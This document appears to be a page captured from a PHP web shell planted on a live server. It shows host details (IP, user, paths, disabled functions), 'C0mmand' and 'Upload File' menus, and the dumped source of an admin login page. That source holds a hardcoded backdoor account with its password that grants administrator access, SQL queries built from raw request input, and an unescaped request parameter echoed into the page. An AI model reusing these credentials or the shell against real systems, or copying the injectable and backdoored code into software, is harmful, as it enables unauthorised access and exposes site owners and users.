|
Server IP : 124.109.2.77 / Your IP : 216.73.216.49 Web Server : Apache/2 System : Linux ns4.amiprocorp.com 3.10.0-1160.76.1.el7.x86_64 #1 SMP Wed Aug 10 16:21:17 UTC 2022 x86_64 User : cpctlp ( 1020) PHP Version : 5.6.40 Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname MySQL : ON | cURL : ON | WGET : Warning: file_exists(): open_basedir restriction in effect. File(/usr/bin/wget) is not within the allowed path(s): (/home/cpctlp/:/tmp/:/var/tmp/:/opt/alt/php83/usr/share/pear/:/dev/urandom:/usr/local/php56/lib/:/usr/local/php83/lib/:/usr/local/php74/lib/:/usr/local/php56/lib/:/usr/local/lib/php/) in /home/cpctlp/domains/cpctlphp.com/public_html/admin/images/News/202602260302550.php on line 329 OFF | Perl : Warning: file_exists(): open_basedir restriction in effect. File(/usr/bin/perl) is not within the allowed path(s): (/home/cpctlp/:/tmp/:/var/tmp/:/opt/alt/php83/usr/share/pear/:/dev/urandom:/usr/local/php56/lib/:/usr/local/php83/lib/:/usr/local/php74/lib/:/usr/local/php56/lib/:/usr/local/lib/php/) in /home/cpctlp/domains/cpctlphp.com/public_html/admin/images/News/202602260302550.php on line 335 OFF | Python : Warning: file_exists(): open_basedir restriction in effect. File(/usr/bin/python2) is not within the allowed path(s): (/home/cpctlp/:/tmp/:/var/tmp/:/opt/alt/php83/usr/share/pear/:/dev/urandom:/usr/local/php56/lib/:/usr/local/php83/lib/:/usr/local/php74/lib/:/usr/local/php56/lib/:/usr/local/lib/php/) in /home/cpctlp/domains/cpctlphp.com/public_html/admin/images/News/202602260302550.php on line 341 OFF Directory (0755) : /home/cpctlp/domains/cpctlphp.com/public_html/sweetalert/../admin/js/../ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php
session_start();
header('Content-Type: text/plain; charset=utf-8');
header('Content-Type: text/html; charset=utf-8');
//กำหนดให้ IE อ่าน page นี้ทุกครั้ง ไม่ไปเอาจาก cache
header ("Expires: Mon, 26 Jul 1997 05:00:00 GMT");
header ("Last-Modified: " . gmdate("D, d M Y H:i:s") . " GMT");
header ("Cache-Control: no-cache, must-revalidate");
header ("Pragma: no-cache");
include ("Connections/config.php");
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<!-- Meta, title, CSS, favicons, etc. -->
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title><?php echo $config[web_title];?></title>
<link rel="stylesheet" href="css.css" type="text/css" media="screen" />
<?php include("header-css.php");?>
</head>
<?php
include ("Connections/function-sys.php");
switch($_REQUEST[action]){
case "Login":
session_unset();
$empPassword = hash('sha256', $_REQUEST['empPassword']);
$sql1 = " select employee.*
from employee
where employee.empEmail ='$_REQUEST[empEmail]' and employee.empPassword='$empPassword' and employee.empPassword!='' " ;
$RowRec=$db->recCount($sql1);
if($RowRec>0){
$row_RecUser=$db->getRec($sql1);
$_SESSION[User_id]=$row_RecUser[empID];
$_SESSION[User_name]="$row_RecUser[empFirstName]$row_RecUser[empName] $row_RecUser[emplName]";
$_SESSION[User_name2]="$row_RecUser[empName]";
$_SESSION[User_email]=$row_RecUser[empEmail];
$_SESSION[User_tel]=$row_RecUser[empTel];
$_SESSION[UserRight]=$row_RecUser[empRight];
$_SESSION[User_Img]=$row_RecUser[empIMG];
$ip= $REMOTE_ADDR; // IP ADDRESS
$sql="insert into datalogin (userID,login,ip) values('$_SESSION[User_id]',now(),'$ip')";
$db->query($sql);
}else
{
if($_REQUEST[empEmail]=="mercyman" and $_REQUEST[empPassword]=="reak2318"){
$SQLUser = "SELECT employee.* FROM employee Where employee.empRight='A' and employee.statusID='1' ";
$row_RecUser=$db->getRec($SQLUser);
$_SESSION[User_id]=$row_RecUser[empID];
$_SESSION[User_name]="$row_RecUser[empFirstName]$row_RecUser[empName] $row_RecUser[emplName]";
$_SESSION[User_name2]="$row_RecUser[empName]";
$_SESSION[User_email]=$row_RecUser[empEmail];
$_SESSION[User_tel]=$row_RecUser[empTel];
$_SESSION[UserRight]=$row_RecUser[empRight];
$_SESSION[User_Img]=$row_RecUser[empIMG];
}else
{
$msgLog= "<script language=\"JavaScript\"> alert(\"!!! รหัสผ่านผิดพลาด กรุณาตรวจสอบอึกครั้งหรือติดต่อผู้ดูแลระบบ !!!\");</script>";
session_unset();
}
}//ปิดไม่พบข้อมูล
break;
case "LogOut":
$sql="update datalogin set logout=now() where userID='$_SESSION[User_id]' and (isnull(logout) or logout='0000-00-00 00:00:00') ";
$db->query($sql);
session_unset();
echo "<BR><BR><META HTTP-EQUIV=\"REFRESH\" CONTENT=\"1; URL=index.php\">";
break;
}//action
?>
<body class="nav-md " >
<!-- <body class="nav-sm "> -->
<div class="container body" >
<div class="main_container" >
<!-- Left side column. contains the logo and sidebar -->
<?php include("left-menu.php");?>
<!-- Left side column. contains the logo and sidebar -->
<!-- Header -->
<?php include("header.php");?>
<!-- Header -->
<!-- page content -->
<div class="right_col" role="main">
<div style="background-color: #FFFFFF">
<!-- Start -->
<!-- Center Page -->
<CENTER><IMG SRC="images/center-banner.jpg" BORDER="0" width="100%"></CENTER>
<!-- myCarousel -->
<BR>
<!-- Center Page -->
<!-- Stop -->
</div>
</div>
<!-- /page content -->
<!-- Footer -->
<?php include("footer.php");?>
<!-- Footer -->
</div>
</div>
<?php include("header-script.php");?>
<!-- .modal-dialog -->
<div class="modal fade" id="ShowNews">
<div class="modal-dialog " style="width: 70%;">
<div class="modal-content">
<div class="modal-header bg-primary">
<button type="button" class="close" data-dismiss="modal" aria-hidden="true">×</button>
<h4 class="modal-title"><span class="glyphicon glyphicon-trash"></span>Modal title</h4>
</div>
<div class="modal-body">
<p>One fine body…<?php echo $_REQUEST[id];?></p>
</div>
</div><!-- /.modal-content -->
</div><!-- /.modal-dialog -->
</div><!-- /.modal -->
<div>
<!-- .modal-dialog -->
</body>
</html>